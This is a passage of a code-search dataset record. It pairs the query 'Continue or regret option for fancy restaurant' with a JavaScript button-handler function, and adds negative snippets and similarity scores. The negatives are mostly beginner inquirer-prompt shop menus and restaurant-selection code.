'raspberry':\\n return 'raspberry.png';\\n break;\\n case 'rice':\\n return 'rice.png';\\n break;\\n case 'brown rice':\\n return 'rice.png';\\n break;\\n case 'white rice':\\n return 'rice.png';\\n break;\\n case 'salad':\\n return 'salad.png';\\n break;\\n case 'lettuce':\\n return 'salad-1.png';\\n break;\\n case 'spinach':\\n return 'salad-1.png';\\n break;\\n case 'kale':\\n return 'salad-1.png';\\n break;\\n case 'salami':\\n return 'salami.png';\\n break;\\n case 'salmon':\\n return 'salmon.png';\\n break;\\n case 'sandwich':\\n return 'sandwich.png';\\n break;\\n case 'sausage':\\n return 'sausage.png';\\n break;\\n case 'italian sausage':\\n return 'sausage.png';\\n break;\\n case 'breakfast sausage':\\n return 'sausage.png';\\n break;\\n case 'steak':\\n return 'steak.png';\\n break;\\n case 'strawberry':\\n return 'strawberry.png';\\n break;\\n case 'sushi':\\n return 'sushi-1.png';\\n break;\\n case 'taco':\\n return 'taco.png';\\n break;\\n case 'toast':\\n return 'toast.png';\\n break;\\n case 'tomato':\\n return 'tomato.png';\\n break;\\n case 'turkey':\\n return 'turkey.png';\\n break;\\n case 'watermelon':\\n return 'watermelon.png';\\n break;\\n case 'wrap':\\n return 'wrap.png';\\n break;\\n case 'chicken':\\n return 'meat.png';\\n break;\\n case 'chicken breast':\\n return 'meat.png';\\n break;\\n case 'ketchup':\\n return 'mustard-2.png';\\n break;\\n case 'ground beef':\\n return 'ham.png';\\n break;\\n case 'ground turkey':\\n return 'ham.png';\\n break;\\n case 'ground chicken':\\n return 'ham.png';\\n break;\\n case 'ground chicken':\\n return 'ham.png';\\n break;\\n // If a food name is not one of these things, populate it's icon based on category\\n default: \\n if (food.category === 'Vegetables') {\\n return 'salad-1.png';\\n } else if (food.category === 'Fruits') {\\n return 'apple-1.png'\\n } else if (food.category === 'Meat/Seafood') {\\n return 'meat-1.png'\\n } else if (food.category === 'Grains') {\\n return 'grain.png'\\n } else if (food.category === 'Dairy') {\\n return 'milk.png'\\n } else if (food.category === 'Sugars') {\\n return 'cupcake.png'\\n }\\n return 'food.png'\\n }\\n}\",\n \"function fDogs(selected_species) {\\n return selected_species.species == \\\"dog\\\"\\n}\",\n \"function runIntoTheForest(){\\n\\tstory(\\\"You get sketched out from the guy acting strange all of a sudden so you just start running as fast as you can towards the only cover you'll have to get away from him\\\");\\n\\tchoices = [\\\"Trip over a tree root\\\",\\\"Go back\\\",\\\"Call the police\\\"];\\n\\tanswer = setOptions(choices);\\n}\",\n \"function genRandomResult(placesArray){\\n var numResult = Math.floor(Math.random() * (placesArray.length));\\n var restaurantChoice = placesArray[numResult];\\n console.log(\\\"restaurant choice \\\" + restaurantChoice)\\n //alert(restaurantChoice);\\n return restaurantChoice;\\n}//genRandomResult\"\n]"},"negative_scores":{"kind":"list like","value":["0.7036451","0.68487436","0.6445757","0.6161395","0.6132312","0.608472","0.59508175","0.5935433","0.59339875","0.5858789","0.5857141","0.5808869","0.5801549","0.5787674","0.57862955","0.5737572","0.571127","0.5710847","0.5680382","0.56678766","0.5634949","0.562701","0.5609133","0.5589664","0.5576922","0.5574979","0.55523497","0.5551033","0.5524142","0.5521212","0.5510057","0.5503258","0.54934406","0.5484304","0.5476818","0.54746795","0.5457178","0.5444551","0.5444358","0.5435162","0.5415711","0.541545","0.54153484","0.5407661","0.5406086","0.53969073","0.53912973","0.5377946","0.53762895","0.5374873","0.53652143","0.53619915","0.5360041","0.5356098","0.5356077","0.53518325","0.53432316","0.53398263","0.5330626","0.5324696","0.5313833","0.53116083","0.53097504","0.5305349","0.5282668","0.52759814","0.527447","0.5269119","0.52600825","0.5248817","0.5248778","0.52435327","0.5242059","0.5239417","0.52310675","0.5230467","0.52294344","0.5229163","0.5216421","0.5212049","0.5211808","0.52105564","0.52057755","0.5202131","0.5201235","0.5197262","0.5196263","0.51801795","0.5178012","0.51726294","0.51709485","0.51689434","0.5158452","0.5155164","0.51525736","0.5146485","0.5146405","0.51454234","0.51317394","0.51206666","0.511492"],"string":"[\n \"0.7036451\",\n \"0.68487436\",\n \"0.6445757\",\n \"0.6161395\",\n \"0.6132312\",\n \"0.608472\",\n \"0.59508175\",\n \"0.5935433\",\n \"0.59339875\",\n \"0.5858789\",\n \"0.5857141\",\n \"0.5808869\",\n \"0.5801549\",\n \"0.5787674\",\n \"0.57862955\",\n \"0.5737572\",\n \"0.571127\",\n \"0.5710847\",\n \"0.5680382\",\n \"0.56678766\",\n \"0.5634949\",\n \"0.562701\",\n \"0.5609133\",\n \"0.5589664\",\n \"0.5576922\",\n \"0.5574979\",\n \"0.55523497\",\n \"0.5551033\",\n \"0.5524142\",\n \"0.5521212\",\n \"0.5510057\",\n \"0.5503258\",\n \"0.54934406\",\n \"0.5484304\",\n \"0.5476818\",\n \"0.54746795\",\n \"0.5457178\",\n \"0.5444551\",\n \"0.5444358\",\n \"0.5435162\",\n \"0.5415711\",\n \"0.541545\",\n \"0.54153484\",\n \"0.5407661\",\n \"0.5406086\",\n \"0.53969073\",\n \"0.53912973\",\n \"0.5377946\",\n \"0.53762895\",\n \"0.5374873\",\n \"0.53652143\",\n \"0.53619915\",\n \"0.5360041\",\n \"0.5356098\",\n \"0.5356077\",\n \"0.53518325\",\n \"0.53432316\",\n \"0.53398263\",\n \"0.5330626\",\n \"0.5324696\",\n \"0.5313833\",\n \"0.53116083\",\n \"0.53097504\",\n \"0.5305349\",\n \"0.5282668\",\n \"0.52759814\",\n \"0.527447\",\n \"0.5269119\",\n \"0.52600825\",\n \"0.5248817\",\n \"0.5248778\",\n \"0.52435327\",\n \"0.5242059\",\n \"0.5239417\",\n \"0.52310675\",\n \"0.5230467\",\n \"0.52294344\",\n \"0.5229163\",\n \"0.5216421\",\n \"0.5212049\",\n \"0.5211808\",\n \"0.52105564\",\n \"0.52057755\",\n \"0.5202131\",\n \"0.5201235\",\n \"0.5197262\",\n \"0.5196263\",\n \"0.51801795\",\n \"0.5178012\",\n \"0.51726294\",\n \"0.51709485\",\n \"0.51689434\",\n \"0.5158452\",\n \"0.5155164\",\n \"0.51525736\",\n \"0.5146485\",\n \"0.5146405\",\n \"0.51454234\",\n \"0.51317394\",\n \"0.51206666\",\n \"0.511492\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":61,"cells":{"query":{"kind":"string","value":"Continue or regret option for fancy restaurant."},"document":{"kind":"string","value":"function regretFancyRestaurantOption() {\n subTitle.innerText = \"Are you sure?\";\n firstButton.innerText = \"Yes, continue\";\n firstButton.onclick = function() {\n fancyRestauratMenu();\n }\n secondButton.innerText = \"No, go back\";\n secondButton.onclick = function() {\n startFunction();\n }\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function handleFancyRestaurantChoice() {\n /** @type {HTMLInputElement} Input field. */\n const dishInput = document.getElementById(\"dish-input\").value;\n const fancyMenu = [\"pizza\", \"paella\", \"pasta\"]\n\n if(dishInput == fancyMenu[0]) {\n restaurantClosing();\n } else if (dishInput == fancyMenu[1]) {\n restaurantClosing();\n } else if (dishInput == fancyMenu[2]) {\n restaurantClosing();\n } else {\n fancyRestauratMenu();\n }\n}","function handleFastRestaurantChoice() {\n /** @type {HTMLInputElement} Input field. */\n const fastDishInput = document.getElementById(\"fast-input\").value;\n const fastfoodMenu = [\"cheeseburger\", \"doubleburger\", \"veganburger\"]\n\n if(fastDishInput == fastfoodMenu[0]) {\n restaurantClosing();\n } else if (fastDishInput == fastfoodMenu[1]) {\n restaurantClosing();\n } else if (fastDishInput == fastfoodMenu[2]) {\n restaurantClosing();\n } else {\n fastFoodRestaurantScene();\n }\n}","function option() {\n\tinquirer\n\t\t.prompt(\n\t\t\t{\n\t\t\t\tname: \"option\",\n\t\t\t\ttype: \"rawlist\",\n\t\t\t\tmessage: \"Would you like to continue to shop?\",\n\t\t\t\tchoices: [\"yes\", \"no\"]\n\t\t\t}\n\t\t)\n\t\t.then(function (answer) {\n\t\t\tif (answer.option === \"yes\") {\n\t\t\t\tdisplayProducts();\n\t\t\t}\n\n\t\t\telse {\n\t\t\t\tconsole.log(\"Thank you for shopping with us at Bamazon, now get the hell out of here!\")\n\t\t\t\tconnection.end()\n\t\t\t}\n\t\t})\n}","function changeRestaurant() {\n if (selectedRestaurant < rRestaurants.length - 1) {\n const next = selectedRestaurant + 1;\n dispatch(setSelectedRestaurant(next));\n } else {\n dispatch(setSelectedRestaurant(0));\n }\n }","function selectRestaurant() {\n let restaurant = document.getElementById(\"dropdown\").firstChild.value;\n let clear;\n if (restaurant === null) {\n return;\n } else if (Object.keys(order.items).length > 0) {\n //Confirm the if the user wants to proceed to clear the order\n clear = confirm(\"Would you like to clear the current order?\");\n if(!clear) {\n document.getElementById(\"dropdown\").firstChild.value = \"\";\n return;\n }\n }\n\n clearOrder(true);\n\n changeRestaurant(restaurant);\n\n}","function restartMenu(){\n\tinquirer.prompt([{\n\t\ttype: \"confirm\",\n\t\tname: \"restartSelection\",\n\t\tmessage: \"Would you like to continue shopping?\"\n\t}]).then(function(restartAnswer){\n\t\tif (restartAnswer.restartSelection === true) {\n\t\t\tcustomerMenu();\n\t\t}\n\t\telse {\n\t\t\tconsole.log(\"Thank you for shopping!\\nYour total is $\" + totalCost); \n\t\t}\n\t});\n}","async promptForFood(step) {\n if (step.result && step.result.value === 'yes') {\n\n return await step.prompt(FOOD_PROMPT, `Tell me what kind of food would you prefer ?`,\n {\n retryPrompt: 'Sorry, I do not understand or say cancel.'\n }\n );\n } else {\n return await step.next(-1);\n }\n}","generateRestaurant(){\n// we want the user to input the zipcode they want to search, the food type they want to eat\n// and the rating (1-5) \n// getRestaurants()\n\n\n}","function selectRestaurant(){\r\n\tlet select = document.getElementById(\"restaurant-select\");\r\n\tlet name = select.options[select.selectedIndex]\r\n\t//checks for undefined\r\n\tif (name !== undefined){\r\n\t\t//creates custom url that tells server what the currently selected restaurant is\r\n\t\tname= select.options[select.selectedIndex].text;\r\n\t\tname = name.replace(/\\s+/g, '-');\r\n\t\tlet request = new XMLHttpRequest();\r\n\t\r\n\t\trequest.onreadystatechange = function(){\t\r\n\t\t\tif(this.readyState == 4 && this.status == 200){ //if its reggie\r\n\t\t\t\tlet data = JSON.parse(request.responseText);\r\n\t\t\t\t//set menu[0] equal to the data from the server\r\n\t\t\t\tmenu[0] = data;\r\n\t\t\t\tconsole.log(menu);\r\n\t\t\t\tlet result = true;\r\n\t\r\n\t\t\t\t//If order is not empty, confirm the user wants to switch restaurants.\r\n\t\t\t\tif(!isEmpty(order)){\r\n\t\t\t\t\tresult = confirm(\"Are you sure you want to clear your order and switch menus?\");\r\n\t\t\t\t}\r\n\t\r\n\t\t\t\t//If switch is confirmed, load the new restaurant data\r\n\t\t\t\tif(result){\r\n\t\t\t\t\t//Get the selected index and set the current restaurant\r\n\t\t\t\t\tlet selected = select.options[select.selectedIndex].value;\r\n\t\t\t\t\tcurrentSelectIndex = select.selectedIndex;\r\n\t\t\t\t\t//In A2, current restaurant will be data you received from the server\r\n\t\t\t\t\tcurrentRestaurant = menu[0];\r\n\t\t\r\n\t\t\t\t\t//Update the page contents to contain the new menu\r\n\t\t\t\t\tif (currentRestaurant !== undefined){\r\n\t\t\t\t\t\tdocument.getElementById(\"left\").innerHTML = getCategoryHTML(currentRestaurant);\r\n\t\t\t\t\t\tdocument.getElementById(\"middle\").innerHTML = getMenuHTML(currentRestaurant);\r\n\t\t\t\t\t}\r\n\t\t\t\t\t//Clear the current oder and update the order summary\r\n\t\t\t\t\torder = {};\r\n\t\t\t\t\tupdateOrder(currentRestaurant);\r\n\t\t\r\n\t\t\t\t\t//Update the restaurant info on the page\r\n\t\t\t\t\tlet info = document.getElementById(\"info\");\r\n\t\t\t\t\tinfo.innerHTML = currentRestaurant.name + \"
    Minimum Order: $\" + currentRestaurant.min_order + \"
    Delivery Fee: $\" + currentRestaurant.delivery_fee + \"

    \";\r\n\t\t\t\t}else{\r\n\t\t\t\t\t//If they refused the change of restaurant, reset the selected index to what it was before they changed it\r\n\t\t\t\t\tlet select = document.getElementById(\"restaurant-select\");\r\n\t\t\t\t\tselect.selectedIndex = currentSelectIndex;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t//make request to server with custom url based on the currently selected restaurant\r\n\t\trequest.open(\"GET\",\"http://localhost:3000/menu-data/\"+name,true);\r\n\t\trequest.send();\r\n\t}\r\n}","function supervisorMenu() {\n inquirer\n .prompt({\n name: 'apple',\n type: 'list',\n message: 'What would you like to do?'.yellow,\n choices: ['View Product Sales by Department',\n 'View/Update Department',\n 'Create New Department',\n 'Exit']\n })\n .then(function (pick) {\n switch (pick.apple) {\n case 'View Product Sales by Department':\n departmentSales();\n break;\n case 'View/Update Department':\n updateDepartment();\n break;\n case 'Create New Department':\n createDepartment();\n break;\n case 'Exit':\n connection.end();\n break;\n }\n });\n}","function continuePrompt(){\n inquirer\n .prompt({\n name: \"repeat\",\n type: \"list\",\n message: \"Is there anything else you'd like to do?\",\n choices: [\n \"Yes\",\n \"No, I'm done.\"\n ]\n })\n .then(function(answer) {\n switch(answer.repeat){\n case \"Yes\":\n optionMenu();\n break;\n\n case \"No, I'm done.\":\n console.log(\"\\nHave a nice day!\\n\");\n connection.end();\n break;\n }\n });\n}","async displayFoodChoice(step) {\n const user = await this.userProfile.get(step.context, {});\n if (user.food) {\n await step.context.sendActivity(`Your name is ${ user.name } and you would like this kind of food : ${ user.food }.`);\n } else {\n const user = await this.userProfile.get(step.context, {});\n\n //await step.context.sendActivity(`[${ step.context.activity.text }]-type activity detected.`);\n\n if (step.context.activity.text == 1) {\n user.food = \"European\";\n await this.userProfile.set(step.context, user);\n } else if (step.context.activity.text == 2) {\n user.food = \"Chinese\";\n await this.userProfile.set(step.context, user);\n } else if (step.context.activity.text == 3) {\n user.food = \"American\";\n await this.userProfile.set(step.context, user);\n }else {\n await this.userProfile.set(step.context, user);\n await step.context.sendActivity(`Sorry, I do not understand, please try again.`);\n return await step.beginDialog(WHICH_FOOD);\n }\n\n await step.context.sendActivity(`Your name is ${ user.name } and you would like this kind of food : ${ user.food }.`);\n }\n return await step.beginDialog(WHICH_PRICE);\n //return await step.endDialog();\n}","setSelectedRestaurant(state, resto) {\n state.selectedRestaurant = resto;\n }","onSelectRestaurant(restaurant){\n this.closeAllRestaurant()\n restaurant.viewDetailsComments()\n restaurant.viewImg()\n\n }","function startOver() {\n\tinquirer.prompt([\n\t\t{\n\t\t\tname: \"confirm\",\n\t\t\ttype: \"confirm\",\n\t\t\tmessage: \"Would you like to make another selection?\"\n\t\t}\n\t]).then(function(answer) {\n\t\tif (answer.confirm === true) {\n\t\t\tdisplayOptions();\n\t\t}\n\t\telse {\n\t\t\tconsole.log(\"Goodbye!\");\n\t\t}\n\t});\n}","function mainMenu() {\n inquirer\n .prompt([\n {\n type: \"confirm\",\n name: \"choice\",\n message: \"Would you like to place another order?\"\n }\n ]).then(function (answer) {//response is boolean only\n if (answer.choice) { //if true, run func\n startBamazon();\n } else {\n console.log(\"Thanks for shopping at Bamazon. See you soon!\")\n connection.end();\n }\n })\n}","function resetProductView(){\n \n inquirer.prompt([\n {\n type: \"rawlist\",\n name: \"action\",\n message: \"What would you like to do next?\",\n choices:[\"I want to checkout\", \"I want to continue shopping\"]\n }\n\n ]).then(function(answers){\n if(answers.action === \"I want to checkout\"){\n console.log(\"Good Bye, hope to see you again!\");\n }else if (answers.action === \"I want to continue shopping\"){\n customerview();\n }\n });\n\n}","function doChoice(e) {\n if (this.selectedIndex>0) {\n var c = favlist[this.options[this.selectedIndex].value];\n\t\tvar fail = false;\n if (c) {\n var i;\n setNotice('Loading fav ...');\n for (i=1;i<=c.length;i++) {\n fail |= setState(i,c[i-1]);\n }\n for (;i<=11;i++) {\n clearState(i);\n }\n }\n this.selectedIndex = 0;\n\t\tif (fail)\n\t\t\taddNotice('Item(s) not found!');\n\t\telse\n\t\t\taddNotice('Fav loaded!');\n }\n}","function continueShopping(){\n inquirer.prompt(\n {\n type: \"confirm\",\n name: \"confirm\",\n message: \"Do you want to continue shopping?\",\n default: true\n }\n ).then(answers=>{\n if(answers.confirm){\n displayProducts();\n }else{\n connection.end();\n }\n });\n}","function regretFastFoodRestaurantOption() {\n subTitle.innerText = \"Are you sure?\";\n firstButton.innerText = \"Yes, continue\";\n firstButton.onclick = function() {\n fastFoodRestaurantScene();\n }\n secondButton.innerText = \"No, go back\";\n secondButton.onclick = function() {\n startFunction();\n }\n}","function regretsPrompt (res) {\n\tinquirer\n \t\t.prompt([\n \t\t\t{\n\t\t\t\ttype: \"list\",\n\t\t\t\tmessage: \"What would you like to do?\",\n\t\t\t\tchoices: [\"Change Quantity\", \"Start Over\"],\n\t\t\t\tname: \"selection\"\n\t\t }\n\t\t])\n\t\t.then(function(inqRes) {\n\t\t\tif (inqRes.selection == \"Change Quantity\"){\n\t\t\t\tquantityPrompt(res);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tdisplayAllProducts();\t\n\t\t\t}\n\n\n\t\t});//ends then\n}","function continuePrompt(){\n inquirer.prompt({\n type: \"confirm\",\n name: \"continue\",\n message: \"Continue....?\",\n }).then((answer) => {\n if (answer.continue){\n showMainMenu();\n } else{\n exit();\n }\n })\n}","function repeat() {\n inquirer\n .prompt({\n name: \"gotoMainMenu\",\n type: \"list\",\n message: \"Do you want to go back to main menu ?\",\n choices: [\"Yes\", \"No\"]\n })\n .then(function (choice) {\n if (choice.gotoMainMenu === \"Yes\") {\n start();\n }\n else {\n connection.end();\n }\n });\n}","function managerChoice() {\n \n inquirer\n .prompt({\n name: \"action\",\n type: \"rawlist\",\n message: \"What would you like to do?\",\n choices: [\n \"View Products For Sale\",\n \"View Low Inventory\",\n \"Add to Inventory\",\n \"Add New Product\",\n \"Quit\"\n ]\n })\n .then(function(answer) {\n switch (answer.action) {\n case \"View Products For Sale\":\n MgrDisplayInv();\n break;\n\n case \"View Low Inventory\":\n lowInv();\n break;\n\n case \"Add to Inventory\":\n addInv();\n break;\n\n case \"Add New Product\":\n addItem();\n break;\n\n case \"Quit\":\n disconnect();\n break;\n }\n });\n}","function mainOptions() {\n inquirer\n .prompt({\n name: \"action\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\n \"View\",\n \"Add\",\n \"Delete\",\n \"Update\"\n ]\n })\n .then(function (answer) {\n switch (answer.action) {\n\n case \"View\":\n viewChoice();\n break;\n\n case \"Add\":\n addChoice();\n break;\n\n case \"Delete\":\n deleteChoice()\n break;\n\n case \"Update\":\n updateChoice()\n break;\n\n\n }\n });\n\n}","function startPrompt() {\n \n inquirer.prompt([{\n\n type: \"confirm\",\n name: \"confirm\",\n message: \"Welcome to Zohar's Bamazon! Wanna check it out?\",\n default: true\n\n }]).then(function(user){\n if (user.confirm === true){\n inventory();\n } else {\n console.log(\"FINE.. come back soon\")\n }\n });\n }","function goPrompt() {\n inquirer.prompt([\n {\n type: \"list\",\n message: \"What action would you like to do?\",\n name: \"choice\",\n choices: [\n \"Check Departments\",\n \"Check Roles\",\n \"Check Employees\",\n \"Plus Employee\",\n \"Plus Role\",\n \"Plus Department\"\n ]\n }\n // switch replaces else if...selects parameter and javascript will look for the correct function\n ]).then(function (data) {\n switch (data.choice) {\n case \"Check Departments\":\n viewDepartments()\n break;\n case \"Check Roles\":\n viewRoles()\n break;\n case \"Check Employees\":\n viewEmployees()\n break;\n case \"Plus Employee\":\n plusEmployees()\n break;\n case \"Plus Department\":\n plusDepartment()\n break;\n case \"Plus Role\":\n plusRole()\n break;\n }\n })\n}","function runAgain(){\n inquire.prompt([\n {\n name: 'again',\n message: 'Would you like to make another purchase?',\n type: 'confirm'\n }\n ]).then(function(res){\n if (res.again){\n customer();\n } else {\n console.log('We hope to see you at the Agora again!');\n checkout();\n }\n })\n}","function startOver() {\n inquirer\n .prompt({\n name: \"continue\",\n type: \"confirm\",\n message: \"Would you like to buy another product?\",\n default: true\n })\n .then(function(answer) {\n if (answer.continue) {\n purchaseChoice();\n }\n else {\n connection.end();\n }\n })\n}","async handleMenuResult(step) {\n switch (step.result.value) {\n case \"Donate Food\":\n return step.beginDialog(DONATE_FOOD_DIALOG);\n case \"Find a Food Bank\":\n return step.beginDialog(FIND_FOOD_DIALOG);\n case \"Contact Food Bank\":\n return step.beginDialog(CONTACT_DIALOG);\n }\n return step.next();\n }","function continueShopping() {\n inquire.prompt([{\n message: \"Checkout or Continue Shopping?\",\n type: \"list\",\n name: \"continue\",\n choices: [\"Continue\", \"Go to checkout\"]\n }]).then(function (ans) {\n if (ans.continue === \"Continue\") {\n console.log(\" Items Added to Cart!\");\n shoppingCart();\n } else if (ans.continue === \"Go to checkout\") {\n checkOut(itemCart, cartQuant);\n }\n });\n}","function runAgain2(){\n console.log('That item ID was not found in our records.');\n inquire.prompt([\n {\n name: 'again',\n message: 'Would you like to make another purchase?',\n type: 'confirm'\n }\n ]).then(function(res){\n if (res.again){\n customer();\n } else {\n console.log('We hope to see you at the Agora again!');\n checkout();\n }\n })\n}","function restartFunction() {\n inquirer.prompt([\n {\n name:\"action\",\n type:\"list\",\n message: \"Do you want to do another operation?\",\n choices: [\n \"Yes, please.\",\n \"No, I am fine thank you.\"\n ]\n }\n ]).then(function(answer) {\n if(answer.action === \"Yes, please.\") {\n menuOptions();\n } else {\n connection.end();\n }\n })\n}","next() {\n inquirer\n .prompt({\n type: 'list',\n name: 'select',\n message: 'Select a team member or hit \"Done\" to finish:',\n choices: ['Add Manager', 'Add Engineer', 'Add Intern', 'Done'],\n }).then(({select}) => {\n this.parseChoice(select);\n });\n }","chooseLocation() {\n \n }","function restartPrompt(){\n inquirer.prompt([\n {\n type: \"confirm\",\n name: \"confirm\",\n message: \"Would you like to continue shopping?\".question,\n default: true\n }\n ]).then(function(input){\n // If customer wants to continue show products again\n if(input.confirm){\n showProducts();\n }\n else{\n console.log(\"Thank you for shopping with Bamazon!\".magenta);\n connection.end();\n }\n })\n}","function reRun(){\n inquirer.prompt([\n {\n type: \"confirm\",\n name: \"reply\",\n message: \"Would you like to purchase another item?\"\n }\n ]).then(function(answer) {\n if(answer.reply) {\n buy();\n } \n else \n {\n console.log(\"Thanks for shopping Bamazon!\");\n connection.end();\n }\n });\n}","function callNextActionOrExit(answer) {\n if (answer.userSelection === \"View Products for Sale\") {\n console.log(\"You want to view products\");\n viewProducts();\n } else if (answer.userSelection === \"View Low Inventory\") {\n console.log(\"You want to view inventory\")\n viewLowInventory();\n } else if (answer.userSelection === \"Add to Inventory\") {\n console.log(\"You want to add to inventory\")\n addToInventory();\n } else if (answer.userSelection === \"Add New Product\") {\n console.log(\"You want to add a new product\")\n getNewItem();\n } else {\n database.endConnection();\n }\n}","function managerOptions() {\n inquirer.prompt([\n {\n name: \"option\",\n message: \"Hello, random manager. What would you like to do today?\",\n type: \"list\",\n choices: [\"View Products for Sale\", \"View Low Inventory\", \"Add to Inventory\", \"Add New Product\"]\n }\n ]).then(function (answer) {\n\n //Use a switch case since we have multiple scenarios\n switch (answer.option) {\n\n case \"View Products for Sale\":\n viewProducts();\n break;\n\n case \"View Low Inventory\":\n lowInventory();\n break;\n\n case \"Add to Inventory\":\n addInventory();\n break;\n\n case \"Add New Product\":\n addNew();\n break;\n };\n });\n}","function ADMIN() {\n //SORT FLIGHTS BY ID, SET ALL DISPLAYS TO TRUE\n flights.sort((a, b) => a.id - b.id);\n for (let i = 0; i < flights.length; i++) {\n flights[i].display = true;\n }\n let ediDel;\n do {\n ediDel = prompt(\n \"Te encuentras en la funci\\u00F3n de ADMINISTRADOR. Indica la funci\\u00F3n a la que quieres acceder: EDIT, DELETE.\",\n \"EDIT,DELETE\"\n );\n salida(ediDel, ADMIN);\n ediDel = ediDel.toUpperCase();\n } while (ediDel !== \"EDIT\" && ediDel !== \"DELETE\");\n\n //JUMP TO NEXT FUNCITON\n if (ediDel === \"EDIT\") {\n EDIT();\n } else if (ediDel === \"DELETE\") {\n DELETE();\n } else {\n alert(\"No te he entendido\");\n ADMIN();\n }\n}","function again() {\n inquirer.prompt({\n name: \"shop\",\n type: \"list\",\n message: \"Would you like to keep shopping?\",\n choices: [\"Yes\", \"No\"]\n }).then(function(answer){\n if(answer.shop == \"Yes\"){\n list();\n } else {\n console.log(\"Please come back soon!\");\n connection.end();\n }\n })\n}","function endRepeat() {\n inquirer\n .prompt([{\n type: \"list\",\n name: \"wish\",\n message: \"\\nDo you want to perform another operation?\",\n choices: [\"Yes\", \"No\"]\n }]).then( answer => {\n if (answer.wish === \"Yes\") {\n showMenu();\n } else {\n connection.end();\n }\n })\n}","function determineNextAction(option) {\n switch(option.toString()) {\n case \"Add Engineer\": \n currentEmployeeType = Engineer.getRole();\n askQuestions(ENGINEER_QUESTIONS);\n break;\n case 'Add Intern':\n currentEmployeeType = Intern.getRole();\n askQuestions(INTERN_QUESTIONS)\n break;\n case 'Exit':\n console.log(\"generate html\");\n GenerateHTML.generateSkeletonHTML(teamArray);\n console.log(\"exiting....\");\n break;\n }\n}","function shopAgain(){\n inquirer\n .prompt([\n {\n type: \"list\",\n name: \"shop\",\n message: \"Would you like to buy another item?\",\n choices: [\"YES\", \"NO\"]\n }\n ]).then(function(answer) {\n if (answer.shop === \"YES\") {\n runBamazon();\n } else {\n console.log(\"Thank you for shopping with us, have a nice day!\");\n connection.end();\n }\n })\n}","function initSelectRestaurant(restaurants, searchTerm){\n $(function(){\n\n var getRestaurant = window.LE.restaurants.getRestaurant\n\n userdata.restaurant = null;\n\n //dummy var\n var isSearch = null;\n\n // prepare template\n var source = $(\"#restaurant-dropdown-template\").html();\n var template = Handlebars.compile(source);\n\n html = template(restaurants); \n\n // populate dropdown for restaurants\n var renderingRestaurants = $('#render-restaurants').after(html);\n\n // render confirmation of the search term so the user remembers what they were looking for\n var renderingSearchTerm = $('#select-restaurant-search-term').html(searchTerm);\n\n // when the restaurant changes, we need to display rate and other data\n $.when(renderingRestaurants, renderingSearchTerm).done(function(){\n renderRestaurantDetails(templates.templateRestInfo, getRestaurant, isSearch);\n });\n \n $(\"#select-restaurant-continue-button\").on(\"click\", function(){\n // this is the restaurant id to render later\n var selectedVal = $(\"#restaurant\").val();\n\n if(_debug){ console.log(selectedVal); }\n\n if(selectedVal == \"\"){\n document.getElementById(\"restaurant-alert\").innerHTML = \"Required.\";\n }else{\n\n // cleanup old event handlers before leaving home context\n destroyHome();\n\n userdata.currentRestaurant = selectedVal;\n initSelectItem(selectedVal);\n // ease scroll to top of next view\n $(\"html, body\").animate({ scrollTop: 0 }, \"slow\");\n }\n });\n });\n}","function displayRestaurant() {\n restaurantDrop.on(\"click\", function (event) {\n if ($(event.target).attr(\"class\") === \"yes\") {\n console.log(\"hi\");\n $(\".body-container\").prepend($(\".location\").show());\n restaurantOption.hide();\n }\n if ($(event.target).attr(\"class\") === \"no\") {\n $(\".final-date\").removeClass(\"hide\");\n restaurantOption.hide();\n viewDate.append($(\".movie-display\"));\n $(\".movie-display\").show();\n restaurantStorage.push(\"\")\n localStorage.setItem(\"Restaurants\", JSON.stringify(restaurantStorage))\n }\n });\n}","function superAsk(){\n\n inquirer\n .prompt([\n // Here we create a basic text prompt.\n {\n type: \"rawlist\",\n message: \"Greetings, what action would you like to perform today? (select by picking a #)\",\n choices: ['View Product Sales by Department', 'Create New Department', 'Exit'],\n name: \"action\", \n },\n\n ])\n .then(function(response) {\n\n switch (response.action) {\n case 'View Product Sales by Department':\n viewProdSales();\n break;\n case 'Create New Department':\n createDept();\n break;\n case 'Exit':\n process.exit();\n break;\n default:\n console.log('Whoops! Looks like something went wrong. Are you sure you picked a number 1-2?');\n }\n });\n}","function restartMenu(){\n\tinquirer.prompt([{\n\t\ttype: \"confirm\",\n\t\tname: \"restartSelection\",\n\t\tmessage: \"Would you like to return to the main menu?\"\n\t}]).then(function(restartAnswer){\n\t\tif (restartAnswer.restartSelection === true) {\n\t\t\tmanagerMenu();\n\t\t}\n\t\telse {\n\t\t\tconsole.log(\"Good bye!\"); \n\t\t}\n\t});\n}","function menu_paquet(){\n\t\taction=prompt(\"F fin de tour | P piocher une carte\");\n\t\taction=action.toUpperCase();\n\t\tif (action != null){\n\t\t\tswitch(action){\n\t\t\t\tcase \"F\":\n\t\t\t\t\tif (att_me.length>0){\n\t\t\t\t\t\t//MAJ des cartes en INV_ATT1,2\n\t\t\t\t\t\tmajCartesEnAttaque();\n\t\t\t\t\t}\n\t\t\t\t\tif (pv_adv==0 || pv_me==0){\n\t\t\t\t\t\tif (pv_adv==0){\n\t\t\t\t\t\t\talert(\"Vous avez gagné !!!\");\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\talert(\"Vous avez perdu !!!\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\t/////////////////////////////////Gérer la fin de partie ICI\n\t\t\t\t\t} else {\n\t\t\t\t\t\tIA_jouer(IA_stategie_basic);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t\tcase \"P\":\n\t\t\t\t\tjeu_piocherDsPaquet(true);\t\t\t\t\t\t\t\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}","function start() {\n inquirer.prompt({\n name: \"action\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\n \"View All departments\",\n \"View All employees\",\n \"View All roles\",\n \"Add roles\",\n \"Add departments\",\n \"Add employees\",\n \"Delete roles\",\n \"Delete departments\",\n \"Exit\"\n ]\n })\n .then(function(res) { \n switch (res.action) {\n case \"View departments\":\n viewDep();\n break;\n \n case \"View All employees\":\n viewEmp();\n break;\n \n case \"View All 